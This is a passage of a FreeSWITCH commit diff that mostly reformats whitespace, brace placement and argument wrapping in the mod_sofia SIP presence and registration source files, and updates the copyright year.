+ "and (sip_host='%q' or presence_hosts like '%%%q%%')", to_host, to_user, to_host, to_host))) {
sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, sofia_presence_sub_reg_callback, profile);
-
+
switch_safe_free(sql);
}
}
@@ -2162,7 +2083,8 @@
}
}
-sofia_gateway_subscription_t *sofia_find_gateway_subscription(sofia_gateway_t *gateway_ptr, const char *event) {
+sofia_gateway_subscription_t *sofia_find_gateway_subscription(sofia_gateway_t *gateway_ptr, const char *event)
+{
sofia_gateway_subscription_t *gw_sub_ptr;
for (gw_sub_ptr = gateway_ptr->subscriptions; gw_sub_ptr; gw_sub_ptr = gw_sub_ptr->next) {
if (!strcasecmp(gw_sub_ptr->event, event)) {
@@ -2180,7 +2102,7 @@
{
sip_event_t const *o = NULL;
sofia_gateway_subscription_t *gw_sub_ptr;
-
+
if (!sip) {
return;
}
@@ -2204,14 +2126,14 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Gateway information missing\n");
return;
}
-
+
/* Find the subscription if one exists */
if (!(gw_sub_ptr = sofia_find_gateway_subscription(sofia_private->gateway, o->o_type))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Could not find gateway subscription. Gateway: %s. Subscription Event: %s\n",
- sofia_private->gateway->name, o->o_type);
+ sofia_private->gateway->name, o->o_type);
return;
}
-
+
/* Update the subscription status for the subscription */
switch (status) {
case 200:
@@ -2228,7 +2150,7 @@
default:
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "status (%d) != 200, updated state to SUB_STATE_FAILED.\n", status);
gw_sub_ptr->state = SUB_STATE_FAILED;
-
+
if (sofia_private) {
nua_handle_destroy(sofia_private->gateway->sub_nh);
sofia_private->gateway->sub_nh = NULL;
@@ -2283,7 +2205,7 @@
if (sip->sip_user_agent) {
full_agent = sip_header_as_string(profile->home, (void *) sip->sip_user_agent);
}
-
+
if ((tuple = switch_xml_child(xml, "tuple")) && (status = switch_xml_child(tuple, "status"))
&& (basic = switch_xml_child(status, "basic"))) {
status_txt = basic->txt;
@@ -2317,19 +2239,17 @@
if ((sql =
switch_mprintf("delete from sip_presence where sip_user='%q' and sip_host='%q' "
- " and profile_name='%q' and hostname='%q'",
- from_user, from_host, profile->name, mod_sofia_globals.hostname
- ))) {
+ " and profile_name='%q' and hostname='%q'", from_user, from_host, profile->name, mod_sofia_globals.hostname))) {
sofia_glue_execute_sql_now(profile, &sql, SWITCH_TRUE);
}
-
+
if ((sql =
switch_mprintf("insert into sip_presence (sip_user, sip_host, status, rpid, expires, user_agent, profile_name, hostname) "
"values ('%q','%q','%q','%q',%ld,'%q','%q','%q')",
from_user, from_host, note_txt, rpid, exp, full_agent, profile->name, mod_sofia_globals.hostname))) {
sofia_glue_execute_sql_now(profile, &sql, SWITCH_TRUE);
}
-
+
event_type = sip_header_as_string(profile->home, (void *) sip->sip_event);
if (in) {
@@ -2442,7 +2362,7 @@
switch_copy_string(proto, to_user, sizeof(proto));
p = strchr(proto, '+');
*p++ = '\0';
-
+
if ((to_addr = strdup(p))) {
if ((p = strchr(to_addr, '+'))) {
*p = '@';
@@ -2467,7 +2387,7 @@
if (msg) {
switch_event_add_body(event, "%s", msg);
}
-
+
if (switch_core_session_queue_event(tech_pvt->session, &event) != SWITCH_STATUS_SUCCESS) {
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "delivery-failure", "true");
switch_event_fire(&event);
@@ -2491,7 +2411,7 @@
char buf[512];
su_home_t *home = NULL;
- if (!tech_pvt || tech_pvt->hash_key || !sip || !sip->sip_from || !sip->sip_from->a_url ||
+ if (!tech_pvt || tech_pvt->hash_key || !sip || !sip->sip_from || !sip->sip_from->a_url ||
!sip->sip_from->a_url->url_user || !sip->sip_from->a_url->url_host) {
return;
}
@@ -2507,7 +2427,7 @@
} else {
return;
}
-
+
switch_mutex_lock(tech_pvt->profile->flag_mutex);
tech_pvt->hash_key = switch_core_session_strdup(tech_pvt->session, hash_key);
switch_core_hash_insert(tech_pvt->profile->chat_hash, tech_pvt->hash_key, tech_pvt);
Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_reg.c (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_reg.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_reg.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -58,7 +58,7 @@
switch_assert(gateway_ptr->sofia_private);
}
memset(gateway_ptr->sofia_private, 0, sizeof(*gateway_ptr->sofia_private));
-
+
gateway_ptr->sofia_private->gateway = gateway_ptr;
nua_handle_bind(gateway_ptr->nh, gateway_ptr->sofia_private);
}
@@ -74,26 +74,24 @@
}
return;
}
-
+
/*
- if (!gateway_ptr->nh) {
- sofia_reg_new_handle(gateway_ptr, SWITCH_FALSE);
- }
- */
+ if (!gateway_ptr->nh) {
+ sofia_reg_new_handle(gateway_ptr, SWITCH_FALSE);
+ }
+ */
if (gateway_ptr->nh) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "UN-Registering %s\n", gateway_ptr->name);
- nua_unregister(gateway_ptr->nh,
- NUTAG_URL(gateway_ptr->register_url),
- NUTAG_REGISTRAR(gateway_ptr->register_proxy),
- TAG_END());
+ nua_unregister(gateway_ptr->nh, NUTAG_URL(gateway_ptr->register_url), NUTAG_REGISTRAR(gateway_ptr->register_proxy), TAG_END());
}
-
+
}
-static void sofia_reg_fire_custom_gateway_state_event(sofia_gateway_t *gateway, int status, const char *phrase) {
+static void sofia_reg_fire_custom_gateway_state_event(sofia_gateway_t *gateway, int status, const char *phrase)
+{
switch_event_t *s_event;
if (switch_event_create_subclass(&s_event, SWITCH_EVENT_CUSTOM, MY_EVENT_GATEWAY_STATE) == SWITCH_STATUS_SUCCESS) {
switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "Gateway", gateway->name);
@@ -132,7 +130,7 @@
* header (which we control in the outgoing subscription request)
*/
sofia_gateway_t *gateway_ptr;
-
+
for (gateway_ptr = profile->gateways; gateway_ptr; gateway_ptr = gateway_ptr->next) {
sofia_gateway_subscription_t *gw_sub_ptr;
@@ -140,7 +138,7 @@
int ss_state = nua_callstate_authenticating;
sub_state_t ostate = gw_sub_ptr->state;
char *user_via = NULL;
-
+
if (!now) {
gw_sub_ptr->state = ostate = SUB_STATE_UNSUBED;
gw_sub_ptr->expires_str = "0";
@@ -167,38 +165,27 @@
SIPTAG_EVENT_STR(gw_sub_ptr->event),
SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type),
SIPTAG_TO_STR(gateway_ptr->register_from),
- SIPTAG_FROM_STR(gateway_ptr->register_from),
- SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
- TAG_NULL());
-
+ SIPTAG_FROM_STR(gateway_ptr->register_from), SIPTAG_CONTACT_STR(gateway_ptr->register_contact), TAG_NULL());
+
break;
case SUB_STATE_UNSUBED:
gateway_ptr->sub_nh = nua_handle(gateway_ptr->profile->nua, NULL,
NUTAG_URL(gateway_ptr->register_proxy),
TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
SIPTAG_TO_STR(gateway_ptr->register_to),
- NUTAG_CALLSTATE_REF(ss_state),
- SIPTAG_FROM_STR(gateway_ptr->register_from), TAG_END());
+ NUTAG_CALLSTATE_REF(ss_state), SIPTAG_FROM_STR(gateway_ptr->register_from), TAG_END());
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "subscribing to [%s] on gateway [%s]\n", gw_sub_ptr->event, gateway_ptr->name);
-
+
gateway_ptr->sofia_private = malloc(sizeof(*gateway_ptr->sofia_private));
switch_assert(gateway_ptr->sofia_private);
-
+
memset(gateway_ptr->sofia_private, 0, sizeof(*gateway_ptr->sofia_private));
gateway_ptr->sofia_private->gateway = gateway_ptr;
nua_handle_bind(gateway_ptr->nh, gateway_ptr->sofia_private);
if (now) {
- nua_subscribe(gateway_ptr->sub_nh,
- NUTAG_URL(gateway_ptr->register_url),
- TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
- SIPTAG_EVENT_STR(gw_sub_ptr->event),
- SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type),
- SIPTAG_TO_STR(gateway_ptr->register_from),
- SIPTAG_FROM_STR(gateway_ptr->register_from),
- SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
- SIPTAG_EXPIRES_STR(gw_sub_ptr->expires_str), // sofia stack bases its auto-refresh stuff on this
+ nua_subscribe(gateway_ptr->sub_nh, NUTAG_URL(gateway_ptr->register_url), TAG_IF(user_via, SIPTAG_VIA_STR(user_via)), SIPTAG_EVENT_STR(gw_sub_ptr->event), SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type), SIPTAG_TO_STR(gateway_ptr->register_from), SIPTAG_FROM_STR(gateway_ptr->register_from), SIPTAG_CONTACT_STR(gateway_ptr->register_contact), SIPTAG_EXPIRES_STR(gw_sub_ptr->expires_str), // sofia stack bases its auto-refresh stuff on this
TAG_NULL());
gw_sub_ptr->retry = now + gw_sub_ptr->retry_seconds;
} else {
@@ -209,13 +196,11 @@
SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type),
SIPTAG_FROM_STR(gateway_ptr->register_from),
SIPTAG_TO_STR(gateway_ptr->register_from),
- SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
- SIPTAG_EXPIRES_STR(gw_sub_ptr->expires_str),
- TAG_NULL());
+ SIPTAG_CONTACT_STR(gateway_ptr->register_contact), SIPTAG_EXPIRES_STR(gw_sub_ptr->expires_str), TAG_NULL());
}
gw_sub_ptr->state = SUB_STATE_TRYING;
break;
-
+
case SUB_STATE_FAILED:
case SUB_STATE_TRYING:
if (gw_sub_ptr->retry && now >= gw_sub_ptr->retry) {
@@ -294,13 +279,11 @@
nua_handle_bind(nh, pvt);
gateway_ptr->pinging = 1;
- nua_options(nh,
+ nua_options(nh,
TAG_IF(gateway_ptr->register_sticky_proxy, NUTAG_PROXY(gateway_ptr->register_sticky_proxy)),
TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
SIPTAG_TO_STR(gateway_ptr->register_from),
- SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
- SIPTAG_FROM_STR(gateway_ptr->register_from),
- TAG_END());
+ SIPTAG_CONTACT_STR(gateway_ptr->register_contact), SIPTAG_FROM_STR(gateway_ptr->register_from), TAG_END());
switch_safe_free(user_via);
user_via = NULL;
@@ -336,15 +319,16 @@
case REG_STATE_UNREGED:
gateway_ptr->status = SOFIA_GATEWAY_DOWN;
gateway_ptr->retry = 0;
-
- if (!gateway_ptr->nh) sofia_reg_new_handle(gateway_ptr, now ? 1 : 0);
+ if (!gateway_ptr->nh)
+ sofia_reg_new_handle(gateway_ptr, now ? 1 : 0);
+
if (sofia_glue_check_nat(gateway_ptr->profile, gateway_ptr->register_proxy)) {
user_via = sofia_glue_create_external_via(NULL, gateway_ptr->profile, gateway_ptr->register_transport);
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Registering %s\n", gateway_ptr->name);
-
+
if (now) {
nua_register(gateway_ptr->nh,
NUTAG_URL(gateway_ptr->register_url),
@@ -352,7 +336,7 @@
TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
SIPTAG_TO_STR(gateway_ptr->distinct_to ? gateway_ptr->register_to : gateway_ptr->register_from),
SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
- SIPTAG_FROM_STR(gateway_ptr->register_from),
+ SIPTAG_FROM_STR(gateway_ptr->register_from),
SIPTAG_EXPIRES_STR(gateway_ptr->expires_str),
NUTAG_REGISTRAR(gateway_ptr->register_proxy),
NUTAG_OUTBOUND("no-options-keepalive"), NUTAG_OUTBOUND("no-validate"), NUTAG_KEEPALIVE(0), TAG_NULL());
@@ -368,7 +352,7 @@
NUTAG_OUTBOUND("no-options-keepalive"), NUTAG_OUTBOUND("no-validate"), NUTAG_KEEPALIVE(0), TAG_NULL());
}
gateway_ptr->retry = now + gateway_ptr->retry_seconds;
- gateway_ptr->state = REG_STATE_TRYING;
+ gateway_ptr->state = REG_STATE_TRYING;
switch_safe_free(user_via);
user_via = NULL;
break;
@@ -379,16 +363,16 @@
if (gateway_ptr->failure_status == 503) {
sec = gateway_ptr->retry_seconds;
- } else{
+ } else {
sec = gateway_ptr->retry_seconds * (gateway_ptr->failures + 1);
}
-
+
gateway_ptr->retry = switch_epoch_time_now(NULL) + sec;
gateway_ptr->status = SOFIA_GATEWAY_DOWN;
gateway_ptr->state = REG_STATE_FAIL_WAIT;
gateway_ptr->failure_status = 0;
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "%s Failed Registration, setting retry to %d seconds.\n",
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "%s Failed Registration, setting retry to %d seconds.\n",
gateway_ptr->name, sec);
}
@@ -436,12 +420,10 @@
dst = sofia_glue_get_destination(argv[3]);
switch_assert(dst);
- nh = nua_handle(profile->nua, NULL, SIPTAG_FROM_STR(profile->url), SIPTAG_TO_STR(to), NUTAG_URL(dst->contact), SIPTAG_CONTACT_STR(profile->url), TAG_END());
+ nh = nua_handle(profile->nua, NULL, SIPTAG_FROM_STR(profile->url), SIPTAG_TO_STR(to), NUTAG_URL(dst->contact), SIPTAG_CONTACT_STR(profile->url),
+ TAG_END());
nua_handle_bind(nh, &mod_sofia_globals.destroy_private);
- nua_options(nh,
- TAG_IF(dst->route_uri, NUTAG_PROXY(dst->route_uri)),
- TAG_IF(dst->route, SIPTAG_ROUTE_STR(dst->route)),
- TAG_END());
+ nua_options(nh, TAG_IF(dst->route_uri, NUTAG_PROXY(dst->route_uri)), TAG_IF(dst->route, SIPTAG_ROUTE_STR(dst->route)), TAG_END());
sofia_glue_free_destination(dst);
@@ -462,7 +444,8 @@
return 0;
}
-void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent, const char *network_ip)
+void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent,
+ const char *network_ip)
{
const char *event = "check-sync";
const char *contenttype = "application/simple-message-summary";
@@ -487,7 +470,7 @@
if ((nh = nua_handle_by_call_id(profile->nua, argv[0]))) {
nua_handle_destroy(nh);
}
-
+
return 0;
}
@@ -495,7 +478,7 @@
{
switch_event_t *s_event;
sofia_profile_t *profile = (sofia_profile_t *) pArg;
-
+
if (argc > 12 && atoi(argv[12]) == 1) {
sofia_reg_send_reboot(profile, argv[1], argv[2], argv[3], argv[7], argv[11]);
}
@@ -561,18 +544,16 @@
}
sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,rpid,expires"
- ",user_agent,server_user,server_host,profile_name,network_ip"
- ",%d from sip_registrations where call_id='%q' %s",
- reboot, call_id, sqlextra);
+ ",user_agent,server_user,server_host,profile_name,network_ip"
+ ",%d from sip_registrations where call_id='%q' %s", reboot, call_id, sqlextra);
switch_safe_free(sqlextra);
-
+
switch_mutex_lock(profile->ireg_mutex);
sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_reg_del_callback, profile);
switch_mutex_unlock(profile->ireg_mutex);
switch_safe_free(sql);
-
- sql = switch_mprintf("delete from sip_registrations where call_id='%q' or (sip_user='%q' and sip_host='%q')",
- call_id, user, host);
+
+ sql = switch_mprintf("delete from sip_registrations where call_id='%q' or (sip_user='%q' and sip_host='%q')", call_id, user, host);
sofia_glue_execute_sql(profile, &sql, SWITCH_FALSE);
switch_safe_free(sql);
@@ -592,13 +573,12 @@
",%d from sip_registrations where expires > 0 and expires <= %ld", reboot, (long) now);
} else {
switch_snprintf(sql, sizeof(sql), "select call_id,sip_user,sip_host,contact,status,rpid,expires"
- ",user_agent,server_user,server_host,profile_name,network_ip"
- ",%d from sip_registrations where expires > 0", reboot);
+ ",user_agent,server_user,server_host,profile_name,network_ip" ",%d from sip_registrations where expires > 0", reboot);
}
sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_reg_del_callback, profile);
if (now) {
- switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and expires <= %ld and hostname='%s'",
+ switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and expires <= %ld and hostname='%s'",
(long) now, mod_sofia_globals.hostname);
} else {
switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and hostname='%s'", mod_sofia_globals.hostname);
@@ -610,11 +590,10 @@
if (now) {
switch_snprintf(sql, sizeof(sql), "select call_id from sip_shared_appearance_dialogs where hostname='%s' "
- "and profile_name='%s' and expires <= %ld",
- mod_sofia_globals.hostname, profile->name, (long) now);
-
+ "and profile_name='%s' and expires <= %ld", mod_sofia_globals.hostname, profile->name, (long) now);
+
sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_sla_dialog_del_callback, profile);
- switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and hostname='%s' and expires <= %ld",
+ switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and hostname='%s' and expires <= %ld",
mod_sofia_globals.hostname, (long) now);
@@ -623,7 +602,7 @@
if (now) {
- switch_snprintf(sql, sizeof(sql), "delete from sip_presence where expires > 0 and expires <= %ld and hostname='%s'",
+ switch_snprintf(sql, sizeof(sql), "delete from sip_presence where expires > 0 and expires <= %ld and hostname='%s'",
(long) now, mod_sofia_globals.hostname);
} else {
switch_snprintf(sql, sizeof(sql), "delete from sip_presence where expires > 0 and hostname='%s'", mod_sofia_globals.hostname);
@@ -632,7 +611,7 @@
sofia_glue_actually_execute_sql(profile, sql, NULL);
if (now) {
- switch_snprintf(sql, sizeof(sql), "delete from sip_authentication where expires > 0 and expires <= %ld and hostname='%s'",
+ switch_snprintf(sql, sizeof(sql), "delete from sip_authentication where expires > 0 and expires <= %ld and hostname='%s'",
(long) now, mod_sofia_globals.hostname);
} else {
switch_snprintf(sql, sizeof(sql), "delete from sip_authentication where expires > 0 and hostname='%s'", mod_sofia_globals.hostname);
@@ -643,17 +622,17 @@
if (now) {
- switch_snprintf(sql, sizeof(sql), "select call_id from sip_subscriptions where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'",
- (long) now, mod_sofia_globals.hostname);
- } else {
- switch_snprintf(sql, sizeof(sql), "select call_id from sip_subscriptions where expires >= -1 and hostname='%s'",
+ switch_snprintf(sql, sizeof(sql),
+ "select call_id from sip_subscriptions where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'", (long) now,
mod_sofia_globals.hostname);
+ } else {
+ switch_snprintf(sql, sizeof(sql), "select call_id from sip_subscriptions where expires >= -1 and hostname='%s'", mod_sofia_globals.hostname);
}
sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_sub_del_callback, profile);
if (now) {
- switch_snprintf(sql, sizeof(sql), "delete from sip_subscriptions where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'",
+ switch_snprintf(sql, sizeof(sql), "delete from sip_subscriptions where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'",
(long) now, mod_sofia_globals.hostname);
} else {
switch_snprintf(sql, sizeof(sql), "delete from sip_subscriptions where expires >= -1 and hostname='%s'", mod_sofia_globals.hostname);
@@ -663,7 +642,7 @@
if (now) {
- switch_snprintf(sql, sizeof(sql), "delete from sip_dialogs where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'",
+ switch_snprintf(sql, sizeof(sql), "delete from sip_dialogs where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'",
(long) now, mod_sofia_globals.hostname);
} else {
switch_snprintf(sql, sizeof(sql), "delete from sip_dialogs where expires >= -1 and hostname='%s'", mod_sofia_globals.hostname);
@@ -699,8 +678,8 @@
cbt.len = len;
if (host) {
- switch_snprintf(sql, sizeof(sql), "select contact from sip_registrations where sip_user='%s' and (sip_host='%s' or presence_hosts like '%%%s%%')"
- , user, host, host);
+ switch_snprintf(sql, sizeof(sql), "select contact from sip_registrations where sip_user='%s' and (sip_host='%s' or presence_hosts like '%%%s%%')",
+ user, host, host);
} else {
switch_snprintf(sql, sizeof(sql), "select contact from sip_registrations where sip_user='%s'", user);
}
@@ -727,8 +706,8 @@
switch_uuid_format(uuid_str, &uuid);
sql = switch_mprintf("insert into sip_authentication (nonce,expires,profile_name,hostname, last_nc) "
- "values('%q', %ld, '%q', '%q', 0)", uuid_str,
- switch_epoch_time_now(NULL) + (profile->nonce_ttl ? profile->nonce_ttl : DEFAULT_NONCE_TTL),
+ "values('%q', %ld, '%q', '%q', 0)", uuid_str,
+ switch_epoch_time_now(NULL) + (profile->nonce_ttl ? profile->nonce_ttl : DEFAULT_NONCE_TTL),
profile->name, mod_sofia_globals.hostname);
switch_assert(sql != NULL);
sofia_glue_actually_execute_sql(profile, sql, profile->ireg_mutex);
@@ -791,7 +770,7 @@
/* all callers must confirm that sip, sip->sip_request and sip->sip_contact are not NULL */
switch_assert(sip != NULL && sip->sip_contact != NULL && sip->sip_request != NULL);
- sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
+ sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
snprintf(network_port_c, sizeof(network_port_c), "%d", network_port);
@@ -807,14 +786,16 @@
from_user = from->a_url->url_user;
from_host = from->a_url->url_host;
}
-
+
if (to) {
to_user = to->a_url->url_user;
to_host = to->a_url->url_host;
}
- if (!to_user) to_user = from_user;
- if (!to_host) to_host = from_host;
+ if (!to_user)
+ to_user = from_user;
+ if (!to_host)
+ to_host = from_host;
if (!to_user || !to_host) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can not do authorization without a complete header\n");
@@ -839,18 +820,18 @@
if (switch_stristr("transport=tls", sip->sip_contact->m_url->url_params)) {
is_tls += 1;
}
-
+
if (sip->sip_contact->m_url->url_type == url_sips) {
proto = "sips";
is_tls += 2;
}
-
+
if (switch_stristr("transport=tcp", sip->sip_contact->m_url->url_params)) {
is_tcp = 1;
}
-
+
display = contact->m_display;
-
+
if (is_nat) {
if (is_tls) {
reg_desc = "Registered(TLS-NAT)";
@@ -890,7 +871,7 @@
} else if (is_nat) {
char my_contact_str[1024];
if (sip->sip_contact->m_url->url_params) {
- switch_snprintf(my_contact_str, sizeof(my_contact_str), "sip:%s@%s:%d;%s",
+ switch_snprintf(my_contact_str, sizeof(my_contact_str), "sip:%s@%s:%d;%s",
contact->m_url->url_user, url_ip, network_port, sip->sip_contact->m_url->url_params);
} else {
switch_snprintf(my_contact_str, sizeof(my_contact_str), "sip:%s@%s:%d", contact->m_url->url_user, url_ip, network_port);
@@ -914,7 +895,7 @@
if (contact->m_url->url_params) {
switch_snprintf(contact_str, sizeof(contact_str), "%s <%s:%s@%s%s;%s%s%s%s>",
- display, proto, contact->m_url->url_user, contact_host, new_port,
+ display, proto, contact->m_url->url_user, contact_host, new_port,
contact->m_url->url_params, received_data, is_nat ? ";fs_nat=yes" : "", path_encoded ? path_encoded : "");
} else {
switch_snprintf(contact_str, sizeof(contact_str), "%s <%s:%s@%s%s%s%s%s>", display, proto, contact->m_url->url_user, contact_host, new_port,
@@ -953,7 +934,7 @@
char *allow_multireg = NULL;
allow_multireg = switch_event_get_header(*v_event, "sip-allow-multiple-registrations");
- if ( allow_multireg && switch_false(allow_multireg) ) {
+ if (allow_multireg && switch_false(allow_multireg)) {
avoid_multi_reg = 1;
}
@@ -987,7 +968,7 @@
if (*received_data && sofia_test_pflag(profile, PFLAG_RECIEVED_IN_NAT_REG_CONTACT)) {
switch_snprintf(received_data, sizeof(received_data), ";received=%s:%d", url_ip, network_port);
}
-
+
if (!strcasecmp(v_contact_str, "nat-connectile-dysfunction") ||
!strcasecmp(v_contact_str, "NDLB-connectile-dysfunction") || !strcasecmp(v_contact_str, "NDLB-tls-connectile-dysfunction")) {
if (contact->m_url->url_params) {
@@ -1030,7 +1011,7 @@
}
if (auth_res == AUTH_FORBIDDEN) {
nua_respond(nh, SIP_403_FORBIDDEN, NUTAG_WITH_THIS(nua), TAG_END());
-
+
/* Log line added to support Fail2Ban */
if (sofia_test_pflag(profile, PFLAG_LOG_AUTH_FAIL)) {
if (regtype == REG_REGISTER) {
@@ -1039,7 +1020,7 @@
} else if (regtype == REG_INVITE) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "SIP auth failure (INVITE) on sofia profile '%s' "
"for [%s@%s] from ip %s\n", profile->name, to_user, to_host, network_ip);
- }
+ }
}
} else {
nua_respond(nh, SIP_401_UNAUTHORIZED, NUTAG_WITH_THIS(nua), TAG_END());
@@ -1095,13 +1076,12 @@
switch_assert(call_id);
/* Does this profile supports multiple registrations ? */
- multi_reg = ( sofia_test_pflag(profile, PFLAG_MULTIREG) ) ? 1 : 0;
- multi_reg_contact = ( sofia_test_pflag(profile, PFLAG_MULTIREG_CONTACT) ) ? 1 : 0;
+ multi_reg = (sofia_test_pflag(profile, PFLAG_MULTIREG)) ? 1 : 0;
+ multi_reg_contact = (sofia_test_pflag(profile, PFLAG_MULTIREG_CONTACT)) ? 1 : 0;
- if ( multi_reg && avoid_multi_reg ) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
- "Disabling multiple registrations on a per-user basis for %s@%s\n",
- switch_str_nil(to_user), switch_str_nil(to_host) );
+ if (multi_reg && avoid_multi_reg) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
+ "Disabling multiple registrations on a per-user basis for %s@%s\n", switch_str_nil(to_user), switch_str_nil(to_host));
multi_reg = 0;
}
@@ -1122,13 +1102,13 @@
if (multi_reg) {
if (multi_reg_contact) {
- sql = switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
+ sql =
+ switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
} else {
sql = switch_mprintf("delete from sip_registrations where call_id='%q'", call_id);
}
} else {
- sql = switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q'",
- to_user, reg_host);
+ sql = switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q'", to_user, reg_host);
}
switch_mutex_lock(profile->ireg_mutex);
sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
@@ -1177,7 +1157,6 @@
"Register:\nFrom: [%s@%s]\nContact: [%s]\nExpires: [%ld]\n", to_user, reg_host, contact_str, (long) exptime);
}
-
#if 0
if (switch_event_create(&event, SWITCH_EVENT_PRESENCE_IN) == SWITCH_STATUS_SUCCESS) {
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "proto", SOFIA_CHAT_PROTO);
@@ -1192,7 +1171,7 @@
}
#else
- if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER) ||
+ if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER) ||
(reg_count == 1 && sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_FIRST_REGISTER))) {
if (switch_event_create(&event, SWITCH_EVENT_PRESENCE_PROBE) == SWITCH_STATUS_SUCCESS) {
@@ -1211,7 +1190,7 @@
} else {
-
+
if (switch_event_create(&event, SWITCH_EVENT_PRESENCE_OUT) == SWITCH_STATUS_SUCCESS) {
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "proto", SOFIA_CHAT_PROTO);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "rpid", rpid);
@@ -1247,7 +1226,8 @@
}
if (multi_reg_contact) {
- sql = switch_mprintf("delete from sip_subscriptions where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
+ sql =
+ switch_mprintf("delete from sip_subscriptions where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
} else {
sql = switch_mprintf("delete from sip_subscriptions where call_id='%q'", call_id);
}
@@ -1255,7 +1235,8 @@
sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
if (multi_reg_contact) {
- sql = switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
+ sql =
+ switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
} else {
sql = switch_mprintf("delete from sip_registrations where call_id='%q'", call_id);
}
@@ -1284,8 +1265,8 @@
if (exptime) {
switch_snprintf(exp_param, sizeof(exp_param), "expires=%ld", exptime);
sip_contact_add_param(nua_handle_home(nh), sip->sip_contact, exp_param);
-
- if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER) ||
+
+ if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER) ||
(reg_count == 1 && sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_FIRST_REGISTER))) {
if (switch_event_create(&s_event, SWITCH_EVENT_MESSAGE_QUERY) == SWITCH_STATUS_SUCCESS) {
switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "Message-Account", "sip:%s@%s", mwi_user, mwi_host);
@@ -1304,18 +1285,15 @@
switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "expires", "%ld", (long) exptime);
}
}
-
+
